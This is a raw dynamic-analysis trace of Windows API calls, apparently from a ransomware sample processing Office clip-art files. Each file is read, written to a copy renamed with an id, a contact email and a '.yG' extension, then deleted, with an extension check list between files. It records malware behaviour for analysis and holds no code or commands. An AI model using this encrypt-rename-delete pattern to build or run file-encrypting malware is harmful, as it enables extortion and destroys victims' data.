	[0173.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0173.615] lstrlenW (lpString=".1cd") returned 4
	[0173.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF") returned 68
	[0173.615] lstrlenW (lpString=".jpg") returned 4
	[0173.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.616] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=14008) returned 1
	[0173.616] CloseHandle (hObject=0x454) returned 1
	[0173.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220
	[0173.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0173.618] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.618] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0173.619] GetLastError () returned 0x0
	[0173.619] ReadFile (in: hFile=0x454, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x36b8, lpOverlapped=0x0) returned 1
	[0173.632] WriteFile (in: hFile=0x574, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x36c0, lpOverlapped=0x0) returned 1
	[0173.633] ReadFile (in: hFile=0x454, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.633] WriteFile (in: hFile=0x574, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.634] SetEndOfFile (hFile=0x574) returned 1
	[0173.634] CloseHandle (hObject=0x574) returned 1
	[0173.634] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.634] SetEndOfFile (hFile=0x454) returned 1
	[0173.637] CloseHandle (hObject=0x454) returned 1
	[0173.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1
	[0173.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0173.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0173.639] lstrlenW (lpString=".doc") returned 4
	[0173.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.639] lstrlenW (lpString=".docx") returned 5
	[0173.639] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0173.639] lstrlenW (lpString=".pdf") returned 4
	[0173.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.640] lstrlenW (lpString=".xls") returned 4
	[0173.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.640] lstrlenW (lpString=".xlsx") returned 5
	[0173.640] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0173.640] lstrlenW (lpString=".ppt") returned 4
	[0173.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0173.640] lstrlenW (lpString=".zip") returned 4
	[0173.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.640] lstrlenW (lpString=".rar") returned 4
	[0173.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.640] lstrlenW (lpString=".bz2") returned 4
	[0173.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.640] lstrlenW (lpString=".7z") returned 3
	[0173.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0173.640] lstrlenW (lpString=".dbf") returned 4
	[0173.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0173.640] lstrlenW (lpString=".1cd") returned 4
	[0173.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68
	[0173.640] lstrlenW (lpString=".jpg") returned 4
	[0173.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.641] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=6792) returned 1
	[0173.641] CloseHandle (hObject=0x454) returned 1
	[0173.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220
	[0173.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454
	[0173.642] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.642] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0173.644] GetLastError () returned 0x0
	[0173.644] ReadFile (in: hFile=0x454, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1a88, lpOverlapped=0x0) returned 1
	[0173.654] WriteFile (in: hFile=0x574, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1a90, lpOverlapped=0x0) returned 1
	[0173.656] ReadFile (in: hFile=0x454, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.656] WriteFile (in: hFile=0x574, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.656] SetEndOfFile (hFile=0x574) returned 1
	[0173.656] CloseHandle (hObject=0x574) returned 1
	[0173.656] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.656] SetEndOfFile (hFile=0x454) returned 1
	[0173.659] CloseHandle (hObject=0x454) returned 1
	[0173.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 1
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0173.661] lstrlenW (lpString=".doc") returned 4
	[0173.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString=".docx") returned 5
	[0173.661] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0173.661] lstrlenW (lpString=".pdf") returned 4
	[0173.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString=".xls") returned 4
	[0173.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.661] lstrlenW (lpString=".xlsx") returned 5
	[0173.661] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0173.661] lstrlenW (lpString=".ppt") returned 4
	[0173.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0173.661] lstrlenW (lpString=".zip") returned 4
	[0173.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.661] lstrlenW (lpString=".rar") returned 4
	[0173.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString=".bz2") returned 4
	[0173.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString=".7z") returned 3
	[0173.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0173.661] lstrlenW (lpString=".dbf") returned 4
	[0173.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0173.661] lstrlenW (lpString=".1cd") returned 4
	[0173.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF") returned 68
	[0173.661] lstrlenW (lpString=".jpg") returned 4
	[0173.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.996] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=7072) returned 1
	[0173.996] CloseHandle (hObject=0x53c) returned 1
	[0173.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220
	[0173.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0173.997] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.997] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.003] GetLastError () returned 0x0
	[0174.003] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1ba0, lpOverlapped=0x0) returned 1
	[0174.015] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0174.016] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.016] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.016] SetEndOfFile (hFile=0x48c) returned 1
	[0174.017] CloseHandle (hObject=0x48c) returned 1
	[0174.017] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.017] SetEndOfFile (hFile=0x53c) returned 1
	[0174.020] CloseHandle (hObject=0x53c) returned 1
	[0174.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1
	[0174.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0174.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0174.021] lstrlenW (lpString=".doc") returned 4
	[0174.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.021] lstrlenW (lpString=".docx") returned 5
	[0174.022] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0174.022] lstrlenW (lpString=".pdf") returned 4
	[0174.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.022] lstrlenW (lpString=".xls") returned 4
	[0174.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.022] lstrlenW (lpString=".xlsx") returned 5
	[0174.022] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0174.022] lstrlenW (lpString=".ppt") returned 4
	[0174.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0174.022] lstrlenW (lpString=".zip") returned 4
	[0174.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.022] lstrlenW (lpString=".rar") returned 4
	[0174.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.022] lstrlenW (lpString=".bz2") returned 4
	[0174.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.022] lstrlenW (lpString=".7z") returned 3
	[0174.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0174.022] lstrlenW (lpString=".dbf") returned 4
	[0174.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0174.022] lstrlenW (lpString=".1cd") returned 4
	[0174.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68
	[0174.022] lstrlenW (lpString=".jpg") returned 4
	[0174.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.023] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=5492) returned 1
	[0174.023] CloseHandle (hObject=0x53c) returned 1
	[0174.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220
	[0174.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0174.024] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.025] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0174.026] GetLastError () returned 0x0
	[0174.026] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1574, lpOverlapped=0x0) returned 1
	[0174.037] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1580, lpOverlapped=0x0) returned 1
	[0174.038] ReadFile (in: hFile=0x53c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.038] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.039] SetEndOfFile (hFile=0x48c) returned 1
	[0174.039] CloseHandle (hObject=0x48c) returned 1
	[0174.039] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.039] SetEndOfFile (hFile=0x53c) returned 1
	[0174.043] CloseHandle (hObject=0x53c) returned 1
	[0174.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0174.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 1
	[0174.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0174.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0174.045] lstrlenW (lpString=".doc") returned 4
	[0174.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.045] lstrlenW (lpString=".docx") returned 5
	[0174.045] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0174.045] lstrlenW (lpString=".pdf") returned 4
	[0174.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.045] lstrlenW (lpString=".xls") returned 4
	[0174.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.045] lstrlenW (lpString=".xlsx") returned 5
	[0174.045] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0174.045] lstrlenW (lpString=".ppt") returned 4
	[0174.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0174.045] lstrlenW (lpString=".zip") returned 4
	[0174.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.045] lstrlenW (lpString=".rar") returned 4
	[0174.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.045] lstrlenW (lpString=".bz2") returned 4
	[0174.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.045] lstrlenW (lpString=".7z") returned 3
	[0174.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0174.046] lstrlenW (lpString=".dbf") returned 4
	[0174.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0174.046] lstrlenW (lpString=".1cd") returned 4
	[0174.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF") returned 68
	[0174.046] lstrlenW (lpString=".jpg") returned 4
	[0174.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.055] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=3140) returned 1
	[0174.055] CloseHandle (hObject=0x47c) returned 1
	[0174.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 0x220
	[0174.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0174.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0174.056] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.056] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
